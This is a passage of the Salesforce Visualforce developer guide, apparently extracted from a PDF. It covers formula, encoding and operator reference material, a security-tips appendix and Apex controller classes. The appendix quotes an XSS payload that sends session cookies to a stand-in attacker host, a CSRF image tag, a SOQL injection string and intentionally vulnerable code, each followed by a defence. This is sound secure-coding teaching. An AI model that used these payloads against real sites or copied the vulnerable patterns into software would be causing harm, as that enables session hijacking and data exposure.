LEN( text)
and replace
text
with the field or expression whose length you want returned.
Converts all letters in the specified text string to lowercase. Any characters that are not letters are unaffected by this function.
Locale rules are applied if a locale is provided.
LOWER( text, [locale])
and replace
text
with the field or text you wish to convert to lowercase, and
locale
with the optional two-character ISO language code or five-character locale code, if available.
Inserts characters you specify to the left-side of a text string.
LPAD( text, padded_length[,
pad_string])
and replace the variables:
•
text
is the field or expression you want to insert characters to the left of.
•
padded_length
is the number of total characters in the text that will be returned.
•
pad_string
is the character or characters that should be inserted.
pad_string
is optional and defaults to a blank space.
639
Global Variables, Functions, and Expression Operators
Function
MID
RIGHT
RPAD
SUBSTITUTE
TEXT
Functions
Description
Returns the specified number of characters from the middle of a text string given the starting position.
MID( text, start_num,
num_chars)
and replace
text
with the field or expression to use when returning characters; replace
start_num
with the number of characters from the left to use as a starting position; replace
num_chars
with the total number of characters to return.
Returns the specified number of characters from the end of a text string.
RIGHT( text, num_chars)
and replace
text
with the field or expression you want returned; replace
num_chars
with the number of characters from the right you want returned.
Inserts characters that you specify to the right-side of a text string.
Use
If the value in
text
is longer than
pad_string
,
text
is truncated to the size of
padded_length
.
RPAD( text, padded_length[,
' pad_string'])
and replace the variables:
•
text
is the field or expression after which you want to insert characters.
•
pad_length
is the number of total characters in the text string that will be returned.
•
pad_string
is the character or characters that should be inserted.
pad_string
is optional and defaults to a blank space.
If the value in
text
is longer than
pad_string
,
text
is truncated to the size of
padded_length
.
Substitutes new text for old text in a text string.
SUBSTITUTE( text, old_text,
new_text)
and replace
text
with the field or value for which you want to substitute values,
old_text
with the text you want replaced, and
new_text
with the text you want to replace the
old_text
.
Converts a percent, number, date, date/time, or currency type field into text anywhere formulas are used. Also, converts picklist values to text in approval rules, approval step rules, workflow rules,
TEXT(
value)
and replace
value
with the field or expression you want to convert to text format. Avoid using any special characters besides a decimal point (period) or minus sign (dash) in this function.
640
Global Variables, Functions, and Expression Operators
Function
TRIM
UPPER
URLENCODE
VALUE
Functions
Description
escalation rules, assignment rules, auto-response rules, validation rules, formula fields, field updates, and custom buttons and links.
Use
Removes the spaces and tabs from the beginning and end of a text string.
TRIM( text)
and replace
text
with the field or expression you want to trim.
Converts all letters in the specified text string to uppercase. Any characters that are not letters are unaffected by this function.
Locale rules are applied if a locale is provided.
UPPER(
text, [locale])
and replace
text
with the field or expression you wish to convert to uppercase, and
locale
with the optional two-character
ISO language code or five-character locale code, if available.
Encodes text and merge field values for use in URLs by replacing characters that are illegal in URLs, such as blank spaces, with the code that represent those characters as defined in RFC 3986, Uniform Resource
Identifier (URI): Generic Syntax. For example, blank spaces are replaced with
%20
, and exclamation points are replaced with
%21
.
{!URLENCODE(
text)}
and replace
text
with the merge field or text string that you want to encode.
Converts a text string to a number.
VALUE( text)
and replace
text
with the field or expression you want converted into a number.
Advanced Functions
Function
GETRECORDIDS
INCLUDE
LINKTO
Description Use
Returns an array of strings in the form of record IDs for the selected records in a list, such as a list view or related list.
{!GETRECORDIDS( object_type)} and replace
object_type
with a reference to the custom or standard object for the records you want to retrieve.
Returns content from an s-control snippet.
Use this function to reuse common code in many s-controls.
{!INCLUDE( source, [inputs])} and replace
source
with the s-control snippet you want to reference. Replace
inputs
with any information you need to pass to the snippet.
Returns a relative URL in the form of a link
(href and anchor tags) for a custom s-control or Salesforce page.
{!LINKTO( label, target, id,
[ inputs], [no override]}
and replace
label
with the text for the link,
target
with the URL, and
id
with a reference to the record. Inputs are optional
641
Global Variables, Functions, and Expression Operators
Function
REGEX
REQUIRESCRIPT
URLFOR
VLOOKUP
Functions
Description Use
and can include any additional parameters you want to add to the link. The
no override
argument is also optional and defaults to “false.” It applies to targets for standard Salesforce pages such as
$Action.Account.New. Replace
no override
with “true” when you want to display a standard Salesforce page regardless of whether you have defined an override for it elsewhere.
Compares a text field to a regular expression and returns TRUE if there is a match.
Otherwise, it returns FALSE. A regular expression is a string used to describe a format of a string according to certain syntax rules.
REGEX( text, regex_text)
and replace
text
with the text field, and
regex_text
with the regular expression you want to match.
Returns a script tag with source for a URL you specify. Use this function when referencing the Force.com AJAX Toolkit or other JavaScript toolkits.
{!REQUIRESCRIPT( url)}
and replace
url
with the link for the script that is required.
Returns a relative URL for an action, s-control, Visualforce page, or a file in a static resource archive in a Visualforce page.
This can be used to return a reference to a file contained in a
archive
(such as a .zip or .jar file).
{!URLFOR(
resource, path)}
Replace
resource
with the name of the static resource archive expressed as a merge variable (for example,
$Resource.
resourceName
), and
path
with the local path to the file in the archive that you want to reference.
{!URLFOR( target, id,
[ inputs], [no override])}
and replace
target
with the URL or action, s-control, or static resource merge variable,
id
with a reference to the record, and
inputs
with any optional parameters.
The
no override
argument is also optional and defaults to “false.” It applies to targets for standard Salesforce pages such as $Action.Account.New. Replace
no override
with “true” when you want to display a standard Salesforce page regardless of whether you have defined an override for it elsewhere.
To access a Visualforce page, simple enter the name of your page preceeded by an
“apex/.” For example, if your Visualforce page is named myTestPage
, you would use
{!URLFOR("apex/myTestPage"}
.
Returns a value by looking up a related value on a custom object similar to the VLOOKUP()
Excel function.
VLOOKUP(
field_to_return,
field_on_lookup_object,
lookup_value)
and replace
field_to_return
with the field that
642
Global Variables, Functions, and Expression Operators
Function Description
Functions
Use
contains the value you want returned,
field_on_lookup_object
with the field on the related object that contains the value you want to match, and
lookup_value
with the value you want to match. You can only use VLOOKUP() in validation rules. If the function fails because, for example, the
field_on_lookup_object
doesn’t exist, you can specify an error message in the validation rule itself.
Encoding Functions
Function
HTMLENCODE
JSENCODE
JSINHTMLENCODE
URLENCODE
Description Use
Encodes text and merge field values for use in HTML by replacing characters that are reserved in HTML, such as the greater-than sign (>), with HTML entity equivalents, such as
>
.
{!HTMLENCODE( text)}
and replace
text
with the merge field or text string that contains the reserved characters.
Encodes text and merge field values for use in JavaScript by inserting escape characters, such as a backslash (\), before unsafe
JavaScript characters, such as the apostrophe (').
{!JSENCODE( text)}
and replace
text
with the merge field or text string that contains the unsafe JavaScript characters.
Encodes text and merge field values for use in JavaScript inside HTML tags by replacing characters that are reserved in HTML with
HTML entity equivalents and inserting escape characters before unsafe JavaScript characters.
JSINHTMLENCODE( someValue)
is a convenience function that is equivalent to
JSENCODE(HTMLENCODE((
someValue))
.
That is,
JSINHTMLENCODE
first encodes
someValue
with
HTMLENCODE
, and then encodes the result with
JSENCODE
.
{!JSINHTMLENCODE( text)}
and replace
text
with the merge field or text string that contains the unsafe JavaScript characters.
Encodes text and merge field values for use in URLs by replacing characters that are illegal in URLs, such as blank spaces, with the code that represent those characters as defined in RFC 3986, Uniform Resource
{!URLENCODE(
text)}
and replace
text
with the merge field or text string that you want to encode.
643
Global Variables, Functions, and Expression Operators Expression Operators
Function Description
Identifier (URI): Generic Syntax. For example, blank spaces are replaced with
%20
, and exclamation points are replaced with
%21
.
Use
Expression Operators
Use operators to join expressions together to create compound expressions.
Operators must be used within Visualforce expression syntax to be evaluated.Visualforce supports the following operators.
Math Operators
Operator
+
-
*
/
^
()
Description
Calculates the sum of two values.
Calculates the difference of two values.
Multiplies its values.
Use
value1 + value2
and replace each
value
with merge fields, expressions, or other numeric values.
value1 - value2
and replace each
value
with merge fields, expressions, or other numeric values.
value1 * value2
and replace each
value
with merge fields, expressions, or other numeric values.
Divides its values.
Raises a number to a power of a specified number.
value1 / value2
and replace each
value
with merge fields, expressions, or other numeric values.
number^integer
and replace
number
with a merge field, expression, or another numeric value; replace
integer
with a merge field that contains an integer, expression, or any integer.
Specifies that the expressions within the open parenthesis and close parenthesis are evaluated first. All other expressions are evaluated using standard operator precedence.
(expression1) expression2...
and replace each
expression
with merge fields, expressions, or other numeric values.
644
Global Variables, Functions, and Expression Operators Expression Operators
Logical Operators
Note: You can’t have a relative comparison expression that includes a null
value. Doing so results in an exception. Specifically, you can’t have a null
value on either side of the following operators:
•
<
(less than)
•
<=
(less than or equals)
•
>
(greater than)
•
>=
(greater than or equals)
Operator
=
and
==
<>
and
!=
<
>
<=
>=
&&
||
Description
Evaluates if two values are equivalent. The
= and == operator are interchangeable.
Use
expression1=expression2
or
expression1 == expression2
, and replace each
expression
with merge fields, expressions, or other numeric values.
Evaluates if two values are not equivalent.
expression1 <> expression2
or
expression1 != expression2
, and replace each expression
with merge fields, expressions, or other numeric values.
Evaluates if a value is less than the value that follows this symbol.
value1 < value2
and replace each value
with merge fields, expressions, or other numeric values.
Evaluates if a value is greater than the value that follows this symbol.
value1 > value2
and replace each
value
with merge fields, expressions, or other numeric values.
Evaluates if a value is less than or equal to the value that follows this symbol.
value1 <= value2
and replace each value
with merge fields, expressions, or other numeric values.
Evaluates if a value is greater than or equal to the value that follows this symbol.
value1 >= value2
and replace each value
with merge fields, expressions, or other numeric values.
Evaluates if two values or expressions are both true. Use this operator as an alternative to the logical function AND.
( logical1) && (logical2)
and replace
logical1
and
logical2
with the values or expressions that you want evaluated.
Evaluates if at least one of multiple values or expressions is true. Use this operator as an alternative to the logical function OR.
( logical1) || (logical2)
and replace any number of logical references with the values or expressions you want evaluated.
645
Global Variables, Functions, and Expression Operators
Text Operators
Operator
&
Description
Connects two or more strings.
Expression Operators
Use
string1&string2
and replace each
string
with merge fields, expressions, or other values.
646
APPENDIX B Security Tips for Apex and Visualforce Development
Understanding Security
The powerful combination of Apex and Visualforce pages allow Force.com developers to provide custom functionality and business logic to Salesforce or create a completely new stand-alone product running inside the Force.com platform. However, as with any programming language, developers must be cognizant of potential security-related pitfalls.
Salesforce has incorporated several security defenses into the Force.com platform itself. However, careless developers can still bypass the built-in defenses in many cases and expose their applications and customers to security risks. Many of the coding mistakes a developer can make on the Force.com platform are similar to general Web application security vulnerabilities, while others are unique to Apex.
To certify an application for AppExchange, it is important that developers learn and understand the security flaws described here. For additional information, see the Force.com Security Resources page on Salesforce Developers at https://developer.salesforce.com/page/Security .
Cross Site Scripting (XSS)
Cross-site scripting (XSS) attacks cover a broad range of attacks where malicious HTML or client-side scripting is provided to a Web application. The Web application includes malicious scripting in a response to a user of the Web application. The user then unknowingly becomes the victim of the attack. The attacker has used the Web application as an intermediary in the attack, taking advantage of the victim's trust for the Web application. Most applications that display dynamic Web pages without properly validating the data are likely to be vulnerable. Attacks against the website are especially easy if input from one user is intended to be displayed to another user. Some obvious possibilities include bulletin board or user comment-style websites, news, or email archives.
For example, assume the following script is included in a Force.com page using a script component, an on*
event, or a Visualforce page.
<script > var foo = '{!$CurrentPage.parameters.userparam}' ;script> var foo =
'{!$CurrentPage.parameters.userparam}' ; </script >
This script block inserts the value of the user-supplied userparam
onto the page. The attacker can then enter the following value for userparam
:
1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2
In this case, all of the cookies for the current page are sent to www.attacker.com
as the query string in the request to the cookie.cgi
script. At this point, the attacker has the victim's session cookie and can connect to the Web application as if they were the victim.
The attacker can post a malicious script using a Website or email. Web application users not only see the attacker's input, but their browser can execute the attacker's script in a trusted context. With this ability, the attacker can perform a wide variety of attacks against the victim. These range from simple actions, such as opening and closing windows, to more malicious attacks, such as stealing data or session cookies, allowing an attacker full access to the victim's session.
647
Security Tips for Apex and Visualforce Development Cross Site Scripting (XSS)
For more information on this attack in general, see the following articles:
•
http://www.owasp.org/index.php/Cross_Site_Scripting
•
http://www.cgisecurity.com/xss-faq.html
•
http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
•
http://www.google.com/search?q=cross-site+scripting
Within the Force.com platform there are several anti-XSS defenses in place. For example, Salesforce has implemented filters that screen out harmful characters in most output methods. For the developer using standard classes and output methods, the threats of XSS flaws have been largely mitigated. However, the creative developer can still find ways to intentionally or accidentally bypass the default controls. The following sections show where protection does and does not exist.
Existing Protection
All standard Visualforce components, which start with
<apex >
, have anti-XSS filters in place. For example, the following code is normally vulnerable to an XSS attack because it takes user-supplied input and outputs it directly back to the user, but the
<apex:outputText > tag is XSS-safe. All characters that appear to be HTML tags are converted to their literal form. For example, the < character is converted to
<
so that a literal < displays on the user's screen.
<apex:outputText >
{!$CurrentPage.parameters.userInput}
</apex:outputText >
Disabling Escape on Visualforce Tags
By default, nearly all Visualforce tags escape the XSS-vulnerable characters. It is possible to disable this behavior by setting the optional attribute escape= "false"
. For example, the following output is vulnerable to XSS attacks:
<apex:outputText escape= "false" value= "{!$CurrentPage.parameters.userInput}" />
Programming Items Not Protected from XSS
The following items do not have built-in XSS protections, so take extra care when using these tags and objects. This is because these items were intended to allow the developer to customize the page by inserting script commands. It does not makes sense to include anti-XSS filters on commands that are intentionally added to a page.
Custom JavaScript
If you write your own JavaScript, the Force.com platform has no way to protect you. For example, the following code is vulnerable to XSS if used in JavaScript.
<script > var foo = location.search; document.write(foo);
</script >
<apex:includeScript>
The
<apex:includeScript >
Visualforce component allows you to include a custom script on the page. In these cases, be very careful to validate that the content is safe and does not include user-supplied data. For example, the following snippet is extremely vulnerable because it includes user-supplied input as the value of the script text. The value provided by the tag is a URL
648
Security Tips for Apex and Visualforce Development Unescaped Output and Formulas in Visualforce Pages to the JavaScript to include. If an attacker can supply arbitrary data to this parameter (as in the example below), they can potentially direct the victim to include any JavaScript file from any other website.
<apex:includeScript value= "{!$CurrentPage.parameters.userInput}" />
Unescaped Output and Formulas in Visualforce Pages
When using components that have set the escape
attribute to false, or when including formulas outside of a Visualforce component, output is unfiltered and must be validated for security. This is especially important when using formula expressions.
Formula expressions can be function calls or include information about platform objects, a user's environment, system environment, and the request environment. It’s important to be aware that the output that’s generated by expressions isn’t escaped during rendering.
Since expressions are rendered on the server, it’s not possible to escape rendered data on the client using JavaScript or other client-side technology. This can lead to potentially dangerous situations if the formula expression references non-system data (that is, potentially hostile or editable data) and the expression itself is not wrapped in a function to escape the output during rendering.
A common vulnerability is created by rerendering user input on a page. For example,
<apex:page standardController= "Account" >
<apex:form >
<apex:commandButton rerender= "outputIt" value= "Update It" />
<apex:inputText value= "{!myTextField}" />
</apex:form >
<apex:outputPanel id= "outputIt" >
Value of myTextField is <apex:outputText value= "{!myTextField}" escape= "false" />
</apex:outputPanel >
</apex:page >
The unescaped
{!myTextField}
results in a cross-site scripting vulnerability. For example, if the user enters :
<script >alert( 'xss' ) and clicks Update It, the JavaScript is executed. In this case, an alert dialog is displayed, but more malicious uses could be designed.
There are several functions that you can use for escaping potentially insecure strings.
HTMLENCODE
Encodes text and merge field values for use in HTML by replacing characters that are reserved in HTML, such as the greater-than sign (>), with HTML entity equivalents, such as
>
.
JSENCODE
Encodes text and merge field values for use in JavaScript by inserting escape characters, such as a backslash (\), before unsafe
JavaScript characters, such as the apostrophe (').
JSINHTMLENCODE
Encodes text and merge field values for use in JavaScript inside HTML tags by replacing characters that are reserved in HTML with
HTML entity equivalents and inserting escape characters before unsafe JavaScript characters.
JSINHTMLENCODE(
someValue) is a convenience function that is equivalent to
JSENCODE(HTMLENCODE((
someValue))
. That is,
JSINHTMLENCODE first encodes
someValue
with
HTMLENCODE
, and then encodes the result with
JSENCODE
.
URLENCODE
Encodes text and merge field values for use in URLs by replacing characters that are illegal in URLs, such as blank spaces, with the code that represent those characters as defined in RFC 3986, Uniform Resource Identifier (URI): Generic Syntax. For example, blank spaces are replaced with
%20
, and exclamation points are replaced with
%21
.
649
Security Tips for Apex and Visualforce Development Cross-Site Request Forgery (CSRF)
To use
HTMLENCODE
to secure the previous example, change the
<apex:outputText >
to the following:
<apex:outputText value= " {!HTMLENCODE(myTextField)}" escape= "false" />
If a user enters
<script >alert( 'xss' )
and clicks Update It, the JavaScript is not be executed. Instead, the string is encoded and the page displays
Value of myTextField is <script >alert( 'xss' )
.
Depending on the placement of the tag and usage of the data, both the characters needing escaping as well as their escaped counterparts may vary. For instance, this statement, which copies a Visualforce request parameter into a JavaScript variable:
<script >var ret = "{!$CurrentPage.parameters.retURL}" ; </script > requires that any double quote characters in the request parameter be escaped with the URL encoded equivalent of
%22
instead of the HTML escaped
"
. Otherwise, the request: http://example.com/demo/redirect.html?retURL=%22foo%22%3Balert('xss')%3B%2F%2F results in:
<script >var ret = "foo" ;alert( 'xss' );// ";</script>
When the page loads the JavaScript executes, and the alert is displayed.
In this case, to prevent JavaScript from being executed, use the
JSENCODE
function. For example
<script >var ret = "{!JSENCODE($CurrentPage.parameters.retURL)}" ; </script >
Formula tags can also be used to include platform object data. Although the data is taken directly from the user's organization, it must still be escaped before use to prevent users from executing code in the context of other users (potentially those with higher privilege levels). While these types of attacks must be performed by users within the same organization, they undermine the organization's user roles and reduce the integrity of auditing records. Additionally, many organizations contain data which has been imported from external sources and might not have been screened for malicious content.
Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery (CSRF) flaws are less of a programming mistake as they are a lack of a defense. The easiest way to describe
CSRF is to provide a very simple example. An attacker has a Web page at www.attacker.com
. This could be any Web page, including one that provides valuable services or information that drives traffic to that site. Somewhere on the attacker's page is an HTML tag that looks like this:
<img src= "http://www.yourwebpage.com/yourapplication/[email protected]&type=admin....." height= 1 width= 1 />
In other words, the attacker's page contains a URL that performs an action on your website. If the user is still logged into your Web page when they visit the attacker's Web page, the URL is retrieved and the actions performed. This attack succeeds because the user is still authenticated to your Web page. This is a very simple example and the attacker can get more creative by using scripts to generate the callback request or even use CSRF attacks against your AJAX methods.
For more information and traditional defenses, see the following articles:
•
http://www.owasp.org/index.php/Cross-Site_Request_Forgery
•
http://www.cgisecurity.com/csrf-faq.html
•
http://shiflett.org/articles/cross-site-request-forgeries
Within the Force.com platform, Salesforce has implemented an anti-CSRF token to prevent this attack. Every page includes a random string of characters as a hidden form field. Upon the next page load, the application checks the validity of this string of characters and
650
Security Tips for Apex and Visualforce Development SOQL Injection does not execute the command unless the value matches the expected value. This feature protects you when using all of the standard controllers and methods.
Here again, the developer might bypass the built-in defenses without realizing the risk. For example, suppose you have a custom controller where you take the object ID as an input parameter, then use that input parameter in an SOQL call. Consider the following code snippet.
<apex:page controller= "myClass" action= "{!init}" </apex:page > public class myClass { public void init() {
Id id = ApexPages.currentPage().getParameters().get( 'id' );
Account obj = [select id, Name FROM Account WHERE id = :id]; delete obj; return ;
}
}
In this case, the developer has unknowingly bypassed the anti-CSRF controls by developing their own action method. The id
parameter is read and used in the code. The anti-CSRF token is never read or validated. An attacker Web page might have sent the user to this page using a CSRF attack and provided any value they wish for the id
parameter.
There are no built-in defenses for situations like this and developers should be cautious about writing pages that take action based upon a user-supplied parameter like the id
variable in the preceding example. A possible work-around is to insert an intermediate confirmation page before taking the action, to make sure the user intended to call the page. Other suggestions include shortening the idle session timeout for the organization and educating users to log out of their active session and not use their browser to visit other sites while authenticated.
SOQL Injection
In other programming languages, the previous flaw is known as SQL injection. Apex does not use SQL, but uses its own database query language, SOQL. SOQL is much simpler and more limited in functionality than SQL. Therefore, the risks are much lower for SOQL injection than for SQL injection, but the attacks are nearly identical to traditional SQL injection. In summary SQL/SOQL injection involves taking user-supplied input and using those values in a dynamic SOQL query. If the input is not validated, it can include SOQL commands that effectively modify the SOQL statement and trick the application into performing unintended commands.
For more information on SQL Injection attacks see:
•
http://www.owasp.org/index.php/SQL_injection
•
http://www.owasp.org/index.php/Blind_SQL_Injection
•
http://www.owasp.org/index.php/Guide_to_SQL_Injection
•
http://www.google.com/search?q=sql+injection
SOQL Injection Vulnerability in Apex
Below is a simple example of Apex and Visualforce code vulnerable to SOQL injection.
<apex:page controller= "SOQLController" >
<apex:form >
<apex:outputText value= "Enter Name" />
<apex:inputText value= "{!name}" />
<apex:commandButton value= "Query" action= "{!query}“ />
</apex:form >
</apex:page >
651
Security Tips for Apex and Visualforce Development SOQL Injection public class SOQLController { public String name { get { return name;} set { name = value;}
} public PageReference query() {
String qryString = 'SELECT Id FROM Contact WHERE ' +
'(IsDeleted = false and Name like \'%' + name + '%\')' ; queryResult = Database.query(qryString); return null ;
}
}
This is a very simple example but illustrates the logic. The code is intended to search for contacts that have not been deleted. The user provides one input value called name
. The value can be anything provided by the user and it is never validated. The SOQL query is built dynamically and then executed with the
Database.query
method. If the user provides a legitimate value, the statement executes as expected:
// User supplied value: name = Bob
// Query string
SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')
However, what if the user provides unexpected input, such as:
// User supplied value for name: test%') OR (Name LIKE '
In that case, the query string becomes:
SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%')
Now the results show all contacts, not just the non-deleted ones. A SOQL Injection flaw can be used to modify the intended logic of any vulnerable query.
SOQL Injection Defenses
To prevent a SOQL injection attack, avoid using dynamic SOQL queries. Instead, use static queries and binding variables. The vulnerable example above can be re-written using static SOQL as follows: public class SOQLController { public String name { get { return name;} set { name = value;}
} public PageReference query() {
String queryName = '%' + name + '%' ; queryResult = [SELECT Id FROM Contact WHERE
(IsDeleted = false and Name like :queryName)]; return null ;
}
}
If you must use dynamic SOQL, use the escapeSingleQuotes
method to sanitize user-supplied input. This method adds the escape character (\) to all single quotation marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead of database commands.
652
Security Tips for Apex and Visualforce Development Data Access Control
Data Access Control
The Force.com platform makes extensive use of data sharing rules. Each object has permissions and may have sharing settings for which users can read, create, edit, and delete. These settings are enforced when using all standard controllers.
When using an Apex class, the built-in user permissions and field-level security restrictions are not respected during execution. The default behavior is that an Apex class has the ability to read and update all data within the organization. Because these rules are not enforced, developers who use Apex must take care that they do not inadvertently expose sensitive data that would normally be hidden from users by user permissions, field-level security, or organization-wide defaults. This is particularly true for Visualforce pages. For example, consider the following Apex pseudo-code: public class customController { public void read() {
Contact contact = [SELECT id FROM Contact WHERE Name = :value];
}
}
In this case, all contact records are searched, even if the user currently logged in would not normally have permission to view these records. The solution is to use the qualifying keywords with sharing
when declaring the class: public with sharing class customController {
. . .
}
The with sharing
keyword directs the platform to use the security sharing permissions of the user currently logged in, rather than granting full access to all records.
653
APPENDIX C Apex Classes Used in Visualforce Controllers
This appendix includes information about the system-supplied Apex classes that can be used when building custom Visualforce controllers and controller extensions.
on page 86.
For more information on Apex, see the
Apex Developer Guide
.
IN THIS SECTION:
Use
ApexPages
to add and check for messages associated with the current page, as well as to reference the current page.
You can use
ApexPages.Action
to create an action method that you can use in a Visualforce custom controller or controller extension.
The
Cookie
class lets you access cookies for your Force.com site using Apex.
IdeaStandardController
objects offer Ideas-specific functionality in addition to what is provided by the
StandardController
.
IdeaStandardSetController Class
IdeaStandardSetController
objects offer Ideas-specific functionality in addition to what is provided by the
StandardSetController
.
KnowledgeArticleVersionStandardController Class
KnowledgeArticleVersionStandardController
objects offer article-specific functionality in addition to what is provided by the
StandardController
.
Contains validation errors that occur when the end user saves the page when using a standard controller.
A PageReference is a reference to an instantiation of a page. Among other attributes, PageReferences consist of a URL and a set of query parameter names and values.
A
SelectOption
object specifies one of the possible values for a Visualforce selectCheckboxes
, selectList
, or selectRadio
component.
Use a StandardController when defining an extension for a standard controller.
654
Apex Classes Used in Visualforce Controllers ApexPages Class
StandardSetController
objects allow you to create list controllers similar to, or as extensions of, the pre-built Visualforce list controllers provided by Salesforce.
ApexPages Class
Use
ApexPages
to add and check for messages associated with the current page, as well as to reference the current page.
Namespace
System
Usage
In addition,
ApexPages
is used as a namespace for the PageReference Class
.
ApexPages Methods
The following are methods for
ApexPages
. All are instance methods.
IN THIS SECTION:
Add a message to the current page context.
Adds a list of messages to the current page context based on a thrown exception.
Returns the current page's PageReference.
Returns a list of the messages associated with the current context.
Returns true
if there are messages associated with the current context, false
otherwise.
Returns true
if messages of the specified severity exist, false
otherwise.
addMessage(message)
Add a message to the current page context.
Signature public Void addMessage(ApexPages.Message message)
655
Apex Classes Used in Visualforce Controllers
Parameters
message
Return Value
Type: Void
addMessages(exceptionThrown)
Adds a list of messages to the current page context based on a thrown exception.
Signature public Void addMessages(Exception exceptionThrown)
Parameters
exceptionThrown
Type: Exception
Return Value
Type: Void
currentPage()
Returns the current page's PageReference.
Signature public System.PageReference currentPage()
Return Value
Type:
Example
This code segment returns the id parameter of the current page.
public MyController() { account = [
SELECT Id, Name, Site
FROM Account
WHERE Id =
:ApexPages.currentPage().
getParameters().
get( 'id' )
656
ApexPages Methods
Apex Classes Used in Visualforce Controllers Action Class
}
];
getMessages()
Returns a list of the messages associated with the current context.
Signature public ApexPages.Message[] getMessages()
Return Value
Type:
hasMessages()
Returns true
if there are messages associated with the current context, false
otherwise.
Signature public Boolean hasMessages()
Return Value
Type: Boolean
hasMessages(severity)
Returns true
if messages of the specified severity exist, false
otherwise.
Signature public Boolean hasMessages(ApexPages.Severity severity)
Parameters
sev
Return Value
Type: Boolean
Action Class
You can use
ApexPages.Action
to create an action method that you can use in a Visualforce custom controller or controller extension.
657
Apex Classes Used in Visualforce Controllers Action Class
Namespace
ApexPages
Usage
For example, you could create a saveOver
method on a controller extension that performs a custom save.
Instantiation
The following code snippet illustrates how to instantiate a new
ApexPages.Action
object that uses the save action:
ApexPages.Action saveAction = new ApexPages.Action( '{!save}' );
Example
In the following example, when the user updates or creates a new Account and clicks the Save button, in addition to the account being updated or created, the system writes a message to the system debug log. This example extends the standard controller for Account.
The following is the controller extension.
public class pageCon{ public PageReference RedirectToStep2(){
// ...
// ...
return Page.Step2;
}
}
The following is the Visualforce markup for a page that uses the above controller extension.
<apex:component >
<apex:attribute name= "actionToInvoke" type= "ApexPages.Action" ... />
...
<apex:commandButton value= "Perform Controller Action" action= "{!actionToInvoke}" />
</apex:component >
<apex:page controller= "pageCon" >
...
<c:myComp actionToInvoke= "{!RedirectToStep2}" />
</apex:page >
For information on the debug log, see “Viewing Debug Logs” in the Salesforce online help.
IN THIS SECTION:
658
Apex Classes Used in Visualforce Controllers
Action Constructors
The following are constructors for
Action
.
IN THIS SECTION:
Creates a new instance of the
ApexPages.Action
class using the specified action.
Action(action)
Creates a new instance of the
ApexPages.Action
class using the specified action.
Signature public Action( String action)
Parameters
action
Type: String
The action.
Action Methods
The following are methods for
Action
. All are instance methods.
IN THIS SECTION:
Returns the expression that is evaluated when the action is invoked.
Invokes the action.
getExpression()
Returns the expression that is evaluated when the action is invoked.
Signature public String getExpression()
Return Value
Type: String
659
Action Constructors
Apex Classes Used in Visualforce Controllers Cookie Class
invoke()
Invokes the action.
Signature public System.PageReference invoke()
Return Value
Type:
Cookie Class
The
Cookie
class lets you access cookies for your Force.com site using Apex.
Namespace
System
Usage
Use the setCookies
method of the
to attach cookies to a page.
Important:
•
Cookie names and values set in Apex are URL encoded, that is, characters such as @ are replaced with a percent sign and their hexadecimal representation.
•
The setCookies
method adds the prefix “ apex__
” to the cookie names.
•
Setting a cookie's value to null
sends a cookie with an empty string value instead of setting an expired attribute.
•
After you create a cookie, the properties of the cookie can't be changed.
•
Be careful when storing sensitive information in cookies. Pages are cached regardless of a cookie value. If you use a cookie value to generate dynamic content, you should disable page caching. For more information, see “Caching Force.com Sites
Pages” in the Salesforce online help.
Consider the following limitations when using the
Cookie
class:
•
The
Cookie
class can only be accessed using Apex that is saved using the Salesforce API version 19 and above.
•
The maximum number of cookies that can be set per Force.com domain depends on your browser. Newer browsers have higher limits than older ones.
•
Cookies must be less than 4K, including name and attributes.
For more information on sites, see “Force.com Sites Overview” in the Salesforce online help.
660
Apex Classes Used in Visualforce Controllers Cookie Class
Example
The following example creates a class,
CookieController
, which is used with a Visualforce page (see markup below) to update a counter each time a user displays a page. The number of times a user goes to the page is stored in a cookie.
// A Visualforce controller class that creates a cookie
// used to keep track of how often a user displays a page public class CookieController { public CookieController() {
Cookie counter = ApexPages.currentPage().getCookies().get( 'counter' );
// If this is the first time the user is accessing the page,
// create a new cookie with name 'counter', an initial value of '1',
// path 'null', maxAge '-1', and isSecure 'false'.
if (counter == null ) { counter = new Cookie( 'counter' , '1' , null ,-1, false );
} else {
// If this isn't the first time the user is accessing the page
// create a new cookie, incrementing the value of the original count by 1
Integer count = Integer .valueOf(counter.getValue()); counter = new Cookie( 'counter' , String .valueOf(count+1), null ,-1, false );
}
// Set the new cookie for the page
ApexPages.currentPage().setCookies( new Cookie[]{counter});
}
// This method is used by the Visualforce action {!count} to display the current
// value of the number of times a user had displayed a page.
// This value is stored in the cookie.
public String getCount() {
Cookie counter = ApexPages.currentPage().getCookies().get( 'counter' ); if (counter == null ) { return '0' ;
} return counter.getValue();
}
}
// Test class for the Visualforce controller
@isTest private class CookieControllerTest {
// Test method for verifying the positive test case static testMethod void testCounter() {
//first page view
CookieController controller = new CookieController();
System.assert(controller.getCount() == '1' );
}
}
//second page view controller = new CookieController();
System.assert(controller.getCount() == '2' );
661
Apex Classes Used in Visualforce Controllers Cookie Constructors
The following is the Visualforce page that uses the
CookieController
Apex controller above. The action
{!count}
calls the getCount
method in the controller above.
<apex:page controller= "CookieController" >
You have seen this page {!count} times
</apex:page >
IN THIS SECTION:
Cookie Constructors
The following are constructors for
Cookie
.
IN THIS SECTION:
Cookie(name, value, path, maxAge, isSecure)
Creates a new instance of the
Cookie
class using the specified name, value, path, age, and the secure setting.
Cookie(name, value, path, maxAge, isSecure)
Creates a new instance of the
Cookie
class using the specified name, value, path, age, and the secure setting.
Signature public Cookie( String name, String value, String path, Integer maxAge, Boolean isSecure)
Parameters
name
Type: String
The cookie name. It can’t be null
.
value
Type: String
The cookie data, such as session ID.
path
Type: String
The path from where you can retrieve the cookie.
maxAge
Type: Integer
A number representing how long a cookie is valid for in seconds. If set to less than zero, a session cookie is issued. If set to zero, the cookie is deleted.
isSecure
Type: Boolean
662
Apex Classes Used in Visualforce Controllers Cookie Methods
A value indicating whether the cookie can only be accessed through HTTPS ( true
) or not ( false
).
Cookie Methods
The following are methods for
Cookie
. All are instance methods.
IN THIS SECTION:
Returns the name of the server making the request.
Returns a number representing how long the cookie is valid for, in seconds. If set to
< 0
, a session cookie is issued. If set to
0
, the cookie is deleted.
